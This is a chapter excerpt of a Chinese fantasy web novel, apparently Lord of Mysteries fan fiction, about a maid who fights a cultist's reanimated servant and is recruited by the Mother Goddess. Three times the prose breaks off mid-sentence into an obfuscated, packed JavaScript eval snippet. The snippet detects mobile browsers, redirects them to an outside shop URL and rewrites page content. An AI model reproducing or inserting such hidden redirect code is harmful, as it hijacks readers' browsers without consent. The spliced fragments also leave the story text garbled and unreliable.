“我需要先联系上他，然后看他的安排。可能要几天，或者更久……但我会尽快的。” 她停顿了一下，有些难以启齿地补充：“以及，那件藏品……” “比起一件不知道在哪里的藏品，我对那些原始月亮信徒更感兴趣。”玛莎回答，“如果你能帮我找到他们，那件藏品可以归你。” “好。”乔安娜松了一口气，“谢谢你。” “对了，藏品的外形应该是一只火法镀金的小瓶子，装饰有水晶和流苏。你是他们家的女仆，也许能找机会取得。” 她大概已经从玛莎的穿着上看出了她接近柯林斯家的身份。 “不管结果如何，我都会向议长申请给你一份报酬的，你提供的这些信息对我们至关重要。”乔安娜认真地说。 那你们议长也应该给乌洛琉斯一份报酬，祂提供的指引也很重要……玛莎在心底吐槽。 冷静下来以后，玛莎觉得这件事对威尔的威胁大概也没那么大。反正他在被追杀这件事上应该有着丰富的经验，即使拿不到藏品应该也有预案吧。 当玛莎回到柯林斯家时，安妮已经为他们端上了晚餐。 艾德里安有些惊讶地看着玛莎抱着餐篮进门。 罗丝自然地解释：“我让她去买些新的面包和咖啡，这一个月都在街角那家咖啡店，也差不多该换个口味了。” 艾德里安似乎没有多想，只是点点头，继续切割盘子里的煎鱼。 晚餐过后，玛莎和罗丝一起回到二楼的卧室，坐在她的床沿。 在和乔安娜商量后，她们决定在“议长”做出回应前，先以稳定罗丝的状态为主。 “夫人，我今天在咖啡馆确实看到了柯林斯先生。” 罗丝的手指微微收紧，但她没有抬头。 “他在和一位女士说话。栗色头发，戴着像是南大陆那边的首饰。” 玛莎尽量让自己的语气显得客观。 “但他们的举动看起来并不亲密，而且柯林斯先生看起来不太高兴的样子，很快就离开了。” 玛莎犹豫着，不知道自己是否应该质疑罗丝对艾德里安的怀疑，也许这能帮她重建和身边人的信任？但如果这让她开始怀疑自己……？ “玛莎，你还在为他辩解。”罗丝轻轻摇头，“你想维护这虚假的平静，你不想让我难过。但这毫无意义。” “我不是——” "也许艾德里安有他的理由。”罗丝打断了玛莎的解释，“也许那个女人确实只是个无关紧要的陌生人。” “但这都不重要了。” 她的声音比过去更加空洞。 “重要的是什么？”玛莎轻声问。 “重要的是，我明白了他并不能真正的理解我。” 罗丝的目光投向更远处。 “所谓的爱情，友情……所有在长时间相处中产生的感情和联系，它们也是存在的，但太脆弱了，一旦遇到外力的强压，随时可能断裂。” “即使它们在某一刻让我们感到被理解了……那也终究只是幻觉。” “只有一种联系真实的，只有母亲和孩子” “那是诞生于血肉之间的联系，从生命开始时就存在的联系，只有那是不可磨灭的联系。” 玛莎感到心下一沉。 “……您想去大地教会看看吗？”她试探着问，“也许，他们还保留着您母亲的记录？” 还有对你这种症状非常熟悉的教士。 “不，那里有的只是教会对她的评价，对她的定义。”罗丝否定了她的建议。 “他们也不会真正理解她。” “理解……母亲的旨意。” “……”玛莎欲言又止。 提到这个话题，罗丝眼里忽然有了一点神采。 “今天下午，你离开的时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253376|197965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，我梦到她了。” “她看起来……”罗丝寻找着合适的形容词。 “一开始，她看起来很悲伤，像在承受着什么痛苦。” “但后来，她笑了，就像我记忆里那样温柔而强大。” ……以我的了解来说，恐怕悲伤痛苦的才是真正的茱莉亚。玛莎暗想。 但她只是沉默地倾听着。 “我觉得也许她从未真正离开过我，只是过去的我看不到而已。” 玛莎在房间里坐了很久，直到罗丝终于在喃喃自语中睡着，呼吸变得平稳。 她尽可能轻地关上门，终于不再掩饰自己的担忧，皱着眉思考：罗丝的状况恶化得太快了，照这样下去，她甚至不确定能不能等到威尔做出回应。 当她走下楼梯，安妮正站在餐厅里，神情紧张地等着她。 “怎么了？”玛莎压低声音询问。 “柯林斯先生。”安妮用同样小的声音回答，“刚才叫我去书房，问了很多关于你的事情。” “你在来贝克兰德前具体在哪些地方工作过，平常都喜欢做什么，有没有什么特别的习惯……” “我给你编了一套答案，晚上你记一下，但我觉得……” 玛莎明白她的意思——一旦怀疑的种子种下，她的一举一动无论是否再有破绽，总会在艾德里安眼里透露出可疑之处。 也许她在这里也待不了太久了。 第二天清晨，玛莎在醒来后没有立即起身去准备早晨的工作。 她仔细感受了一下自己的状态：在经过魔药的初步消化和两夜的休息后，灵力在体内平稳地运转，脑子里不再回荡着呓语的回音，她终于从那次狂乱的仪式中完全恢复过来。 这意味着她可以开始为今后做一些准备了。 在桌面上摆放真实造物主的塑像，点燃蜡烛，这一次，她取出了更多神秘学材料。 她要制作一枚符咒。 这是秘祈人为数不多的战斗手段：通过提前向隐秘存在祈求，将借来的力量封存在金属里，在战斗中只需要一个简单的咒文就可以释放。 为了防止罗丝的状况提前恶化，她必须从现在开始充分利用每一天的灵性，积攒尽可能多的符咒。 作为真实造物主的信徒，能祈求到的自然不外乎阴影，血肉和堕落的力量。 ——她暂时不考虑向乌洛琉斯祈求命运，一是可能和乔安娜的重复，二是她到现在还是不明白祂指引自己和生命学派产生交集的含义，但她绝对不想再面对类似的选择。 最后，玛莎选择了阴影的力量：这是代价最小，也是最实用的选择。第一枚是能让自己和阴影融合，方便追踪或逃跑，第二枚是阴影塑形，能够直接利用阴影的力量制作武器。 当她准备开始制作到第三枚时，灵性开始有枯竭的迹象时，她只能收起这两枚符咒，下楼到厨房里，和安妮一起给早餐装盘。 9. 阴影塑形 今天的餐桌上依然只有艾德里安一人，罗丝还在卧室里休息。 端上早餐后，玛莎回到厨房擦拭炉台，安妮将挑选出来的衣物摆放整齐。 一切就像一个普通的早晨，直到门铃声突然响起。 玛莎下意识地放下手中的抹布想去开门，但艾德里安突然下达了命令，语气平淡却不容置疑。 “安妮，你去看一下是谁。” 玛莎僵在原地，好一会儿才低下头继续擦拭炉台。 她意识到艾德里安对她的怀疑比她想象的还要深。 安妮顺从地去打开了前门，里餐厅和厨房不远，艾德里安和玛莎都能听见他们的谈话声。 “您好，请问海勒先生在吗？” 一个柔和的男声，那是引导玛莎加入极光会的加法尔的声音。 “这里从来没有什么海勒先生。”安妮回答。 “可我记得他是住在贝斯街17号。” “这里是考特尼街，贝斯街在下一个路口右转。” “啊，原来是这样。抱歉，打扰您了。” 那个声音带着歉意离开了，玛莎能听见渐弱的脚步声淹没在嘈杂的街道上。 安妮关上门，回到餐桌前。 “看来只是位走错路的先生。” 艾德里安微微皱眉：“最近总是这些莫名其妙的人在附近，也许我应该和街区的警局说一声。” 这顿早餐是玛莎来柯林斯家后经历过最压抑的一餐。 虽然艾德里安没有明确地表达任何不满或者质疑，但玛莎总觉得那双灰眼睛每次停留在她身上时都审视得意味深长。 八点一刻，安妮送艾德里安出门上班，总算结束了这场折磨。 ……值得庆幸的是，虽然艾德里安已经开始防备自己，但在柯林斯家服务了三年的安妮依然是信任对象，保留了她们的操作空间。 很快，安妮回来和玛莎一起继续洗刷餐具。直到确认艾德里安已经远离了房屋，她才放下盘子，压低声音，从围裙里拿出一张折叠的很小的字条。 “给你的。” 玛莎展开纸条，陌生的字迹：略微倾斜，没有太多的修饰，但可以看出落笔时带着近乎虔诚的专注。 “主看到了你的犹豫。不必怀疑，你可以用任何你觉得合适的方式继续推进调查，直到结束再向我汇报——这是主的旨意。” 玛莎的目光凝固了。 结合这些天的经历，她只能理解成这是真实造物主让A先生告诉她：祂已经知道了她和生命学派的交易，并且允许了。 因为祂也认为靠这个抓住威尔的希望不大，不如专心对付母神信徒？或者还有其他的含义……？ 玛莎感到一丝不安，她怀疑真实造物主已经知道了更多她的秘密。 不过眼下这至少解决了极光会那边的问题——她先前还在思考要怎么和A先生说乔安娜的事。万一他对这项合作不满，要求自己去取得藏品，甚至追踪乔安娜的议长，那她真不知道该怎么办才好了。 玛莎将字条浸泡到水池里，反复搓揉，直到确认辨别不出任何墨迹后才扔进垃圾桶里。 “对了，你在这里工作的时候，有看到过一个水银瓶吗？” 下午，在和安妮分头开始打扫客厅的家具和地面时，玛莎转述了乔安娜对那件藏品的描述。 安妮停下了手中的动作，神情微妙：“我们不应该打探主人家的财物。” “但现在显然是特殊情况。”玛莎尝试说服她。 “你也看到了柯林斯夫人的状况，” ——在艾德里安离开后，她们轮流去过卧室敲过几次门，罗丝都没有回应，只有放在门口的餐盘里的食物确实略有减少，说明至少不是最糟糕的情况。 “这件物品可能关系到夫人之后能否活下来。” 很长时间的沉默，她们各自继续着手上的工作，直到玛莎完成了对客厅地板的打扫，准备去二楼继续自己的工作。 “二楼的储物间里有一个保险柜。” 安妮没有抬头，继续擦拭着安乐椅的扶手，仿佛刚才什么都没说过。 “我不知道里面具体有什么，但柯林斯先生总是随身携带它的钥匙。” 直到太阳落下，玛莎依然没收到乔安娜的回复。 虽然知道不会这么快，但她还是忍不住时不时向窗外张望，期待着在街道上看到那栗发的身影。 当她再次向窗外张望时，街上依然和往常别无二致，楼下却传来了安妮又惊又疑的声音。 “艾米……？！” 玛莎猛然收回目光，向楼梯口冲去，右手已经伸进口袋握住了两枚护符。 ——在通往花园的门前，她看到了一张苍白而无生气的面容。 那位因为身体虚弱而被迫离开的女仆，此刻却出现在了这里，身体变得比常人更加强壮：皮肤坚硬，肌肉隆起。 安妮被她按到在地，拼命挣扎也摆脱不了分毫；她的眼里透露出渴望的红光，牙齿慢慢接近了安妮的脖颈。 “放手！”玛莎大声喊叫，企图吸引她的主意。 艾米停顿了一下，随着玛莎靠近，那双猩红的眼睛变得更加明亮，她突然松开了安妮，直奔玛莎而来。 ——显然，灵性充沛的非凡者，在她眼里是更好的食物。 没有再犹豫，玛莎抓出封印着“阴影塑形”力量 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253377|197965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的符咒。 四周的阴影一下子活了过来，它们不再只是光没照到的区域，而成为了某种具有实体的，帷幕一样的存在。 顺从着灵性直觉，玛莎将身边吊灯投下的阴影揭起，灯枝的形状在她手中扭曲变形，最终凝成一柄长剑，她能感受到剑刃如钢铁般锋利，却没有真实钢铁的重量，因此这副瘦弱的身躯也能轻松运用。 玛莎将长剑横在身前防御。 下一刻，艾米猛扑了过来，结结实实地撞在阴影长剑上，巨大的冲击力震得她虎口发疼，踉跄着后退了几步。 好在艾米也受到了冲击。她停下脚步,低头看向自己的胸口：被阴影接触到的部分，留下了明显的的划痕。 她发出了野兽一样的嘶鸣，声音里充满了痛苦和愤怒。 抓着这个机会，玛莎立刻举起了长剑，无论是哪个玛莎都没有接受过任何武器使用训练，因此这只是凭着本能地向前劈砍。大部分攻击都被艾米敏捷地躲过，但总有一些落在了她的身上，割出了散发着冰冷和堕落意味的伤口。 然而，她并没有看到预想中的鲜血滴落——伤口里露出的是干枯的、近乎木质化的血肉。 “……” 玛莎的神情更加凝重，能制作这种程度的仆役，意味着罗丝很可能已经有序列7甚至更高的实力。 她们无声地对峙着。 “创造一切的主——！” 玛莎突然再次举起了长剑，并开始大声念诵真实造物主的尊名。 虽然给感觉很怪异， 不是神眷者，又没有准备祭祀仪式，一般来说得到回应的概率微乎其微，但白天的字条让她怀疑真实造物主正关注着这里发生的事。 而且，她认为这就是秘祈人的核心扮演法则。 ——将全部希望和自我交付隐秘存在，祈求祂赐予的神迹。 不知道是不是她的错觉，这一次挥剑的时候，玛莎感觉有什么不一样了。 艾米猛然僵直了身体。 她盯着玛莎，像是在评估什么。然后突然转过身，以一种不符合人类生理结构的姿势向后院奔去，然后迅速地消失在墙头上。 玛莎没有追赶，这场战斗也几乎耗干了她的体力和灵力。她垂下手腕，任由阴影长剑溶化。 强撑着最后一点力气，玛莎走到安妮身边，去查看她的状态。 “我没事。” 安妮发出了很小的声音。 “只是，有点动不了。” 玛莎理解地点点头，也在地毯上躺下，疲惫如潮水般涌上来，一时间，谁也没力气说话或者起身收拾战斗后的狼藉。 而天边的红月此时才刚刚升起。 10. 新生 她们还是在艾德里安回来前将客厅复原了。 这场战斗意外地没留下太多的痕迹，只是地毯移位，窗帘掉落之类的小问题。阴影长剑没有在墙面或地上留下物理的剑痕，艾米不会流血的特质也帮了大忙。 她们唯一无法恢复的就是后院被踩踏过的草坪，不过艾德里安应该也没兴趣半夜去逛花园，等到周末，情况应该会好很多。 晚餐过后，看着艾德里安的身影消失在楼梯口，安妮忽然问道：“柯林斯先生这样没事吗？” 她显然也猜到了艾米的状况和罗丝脱不了关系，而艾德里安还毫不知情地和罗丝住在同一个房间里。 “那我们也没有更好的解决方法。”玛莎回答。 “即使他没有把我们当做骗子或疯子，也不大可能马上全部相信。如果他决定再观察一阵罗丝，而这种怀疑又被罗丝发现了，情况可能会更糟。” 除非直接向风暴教会举报……一支代罚者小队应该能轻松的压制罗丝，艾德里安也不得不接受教会的权威，但这样就没法帮乔安娜取得那件物品了。 更重要的是，这显然不是真实造物主想看到的发展。 玛莎望着桌上小型神像，她刚刚又举行了一次祭祀仪式，赋予了房间里的阴影一定的活性，让它们在晚上替自己守夜。 这个仪式彻底榨干了她的最后一点灵性，玛莎只能祈祷今晚上不会再有意外。 她决定以后将每天还是只制作一枚符咒，留存下以防万一的空间。 好消息是在这场战斗后，她觉得魔药已经消化的差不多了，也许再经历一两次这样的祈祷和战斗就能彻底消化了。 唯一的问题是，这种一边砍人，一边高喊主的尊名的方式让她看起来更像做极光会的疯子了。 ……虽然从某种意义上来说，她也确实是。 玛莎很想解释她只是在扮演，和A先生那种发自内心的狂热还是有本质的区别的，但也不知道能向谁解释。 周三的清晨，安妮在门外等着玛莎做完一枚符咒后才一起下楼。 在昨天的袭击后，她们都认为最好还是不要单独行动。 当二人转过楼梯口时，罗丝已经在餐厅里等着她们了。 玛莎和安妮都是一惊。 ——她看上去和先前恍惚憔悴的样子完全不同。黑发柔顺而富有光泽，苍白的脸颊重新浮现出红润的色彩。换上了一套更适合社交场合的礼裙，悠然地靠在餐椅上品尝着红茶。 玛莎悄悄地握住了口袋里新制的符咒。 罗丝只是轻笑了一声。 “放松，频繁地向阴影祈求的代价并不是那么好承受的。” “我只是想和你聊聊而已。” “您想聊什么呢？”玛莎问，手指依然没有离开符咒。 罗丝把目光投向安妮，意思很明显：让她离开。 安妮看着玛莎。 “你先回房间吧。”犹豫了片刻，玛莎小声地说，“记得祈求主的庇护。” 安妮咬了咬嘴唇，似乎想说什么，但最后还是听从她的建议离开了。 直到身后最后一点围裙在行走中摩擦发出的沙沙声也消失，一楼只剩下她和罗丝两人，玛莎向前了几步，让这更像是一场私人谈话，又给自己留了一定的反应空间。 “玛莎，我亲爱的玛莎。” 罗丝重复着她的名字，放下了茶杯。 “我的运气似乎不错：一位母亲的孩子，恰好在东区见过一位洗衣女工。” “她的父亲很早就去世了，母亲在挣扎了一段时间后也离开了她。” “去年冬天，那孩子自己在一场大病后也越来越虚弱，贝克兰德的冬天对东区的孩子总是很残酷，他以为那孩子坚持不了太久了。” “但有一天，那孩子突然奇迹般地恢复了活力。” “后来，他在她的住处附近看到了阴影的仆从。” 罗丝没有继续说下去，只是似笑非笑地看着玛莎。 ……不愧是群贤毕至的贝克兰德。玛莎在心里吐槽。除了极光会，东区还有母神的人？还认识自己？ 她回忆着最近见过的面孔，飞快地思考着哪个可能是“母亲的孩子”。 不过我并没有看到有人上门和罗丝传递消息……灵界的信使？还是母神的信徒也有自己的联络方式？ 看着罗丝幽微的眼神，玛莎无奈地笑了一下。 “您把一切都弄得很清楚。” “这不算什么。”罗丝随意地摆摆手。“母亲总是关心孩子的。” “我想说的是——玛莎，你不会觉得痛苦吗？” ——啊？ 罗丝的身体微微前倾，声音变得更加低沉，带上了诱惑的意味。 “为了证明自己的虔诚，你要献出自己的一切，承受无穷无尽的苦难和牺牲，才能换的他一瞬的垂怜。” “母亲却不是那样的。” “她不会给予她的孩子任何考验，要求他们自我牺牲，母亲怎么会忍心让孩子受苦呢？” “她只会想为每个孩子提供温暖，实现他们的一切愿望。” “甚至包括……复活。” “虽然你是为完成任务才接近我的，玛莎，但在和你交谈的时候，我能感受到你的思念，你对温暖的渴望不是假的。” “你想要一个归所，想回到家人身边，对吗？可这些都是那位堕落的造物主给不了你的。” 啊这，这是母神在招新吗？ 玛莎没有立即回答。对于一个刚踏入非凡世界的普通人，听到温暖的承诺，复活家人的可能，也许还真会觉得挺有吸引力的。但对于深知母神本质的穿书者来说，只会想尖叫着“你不要过来啊”。 说不定这是我的运气呢？她以为发现了我的过去，我的弱点，但那从来不是我真正的“我”。 玛莎脑海里闪过一个个想法。 “您很宽容。”最后，她抬起头。 “我以为，在昨晚的事故后，您不会原谅我了。” “那对艾米来说不过是点小伤，在今天的太阳升起前，她已经恢复了。”罗丝的声音依然柔和，像是在哄一个因打翻了花瓶而害怕责罚的孩子 “现在，你更相信母亲的伟大和慈悲了吗？” 她在拖延时间——玛莎做出了判断，也许修复艾米并不像她表现的那样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253378|197965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻松，也许是新生的人格还没完全掌控这句身体，又或者母神还需要罗丝完成一个任务，她担心现在爆发正面冲突会引来教会的注意。 正好，玛莎也需要时间。 “我需要时间考虑。”她谨慎地回答，“背弃一位伟大存在的代价不是那么容易承受的。如果祂发现了——” “当然。”罗丝很理解地点点头，“你当然需要仔细考虑，这是一个重大的决定。但不要太久，玛莎。机会不是永远都有的。” “——好了，去让安妮下来吧。我还是更喜欢她煎的松饼。” 清晨起床制作符咒，然后下楼准备早餐，打扫房间，清洗餐具和衣物，下午去市场采购食材，整理罗丝的衣橱，帮她准备下午茶。这就是玛莎的日常。 距离谈话已经过去了三天，罗丝看起来完全恢复了过去的活力。 她不再需要玛莎把早餐送到房间去，而是准时下楼和艾德里安一起用餐，并谈论几句晨间新闻，也会在下午邀请邻居太太来共同共进下午茶，笑声从客厅里传出来，带着恰到好处的轻快。 随着罗丝状态的“好转”，艾德里安也终于放下心来，连同对玛莎的审视都少了些许，似乎把先前所有细小的异常当做只是自己神经过于紧张产生的错觉。 晚餐过后，艾德里安没有马上去书房。 “下周日，教会有一场由博蒙特爵士资助的大型弥撒，你想和我一起去吗？”他小心翼翼地询问。 “——我只是觉得我们很久没久没一起出门了，如果你有更想去的地方也都可以的。” 他显然想起了罗丝微妙的信仰状态，意识到自己的提议也许并不合时宜。 罗丝却微笑这回答：“风暴之主的弥撒吗？” “可以啊。” “那我要准备一下适合在弥撒的正装了，你觉得之前那条深蓝色的长裙怎么样？” ——玛莎擦拭橱柜的动作停顿了一下了。 不对劲，她想，这个状态的罗丝怎么可能会真的愿意走进一间正神教堂？ 她记得雷电同样有净化邪恶的力量，虽然比太阳稍弱一些，但依然是和堕落母神完全对立的力量。更不用说这种大型弥撒肯定会有代罚者在某个角落里警戒，确保没有任何异常。 玛莎若无其事地继续这手上的动作，思绪却发散开来：她认为到时候一定会有什么变故让他们都去不了？或者在那之前她就可以离开了？ “都好。”得到肯定答案的艾德里安明显松了口气，在和罗丝又讨论了几句礼服的细节后才注意到厨房里的玛莎和安妮。 “如果下周末你们想去自己的教堂也可以。”艾德里安补充道，“我会给你们半天假。” 她们名义上都是蒸汽与机械之神的信徒。 “我们会的。谢谢您，柯林斯先生。”安妮恭敬地回答道。 ……反正到时候她们很可能已经不在这里了，或者，到时候再找理由推脱。 玛莎有身为真实造物主信徒的自觉：让她去正神教堂只能说比罗丝强得非常有限。 最迟到下周五，玛莎下定了决心，如果乔安娜还没有回信，她必须考虑自己动手的方案了。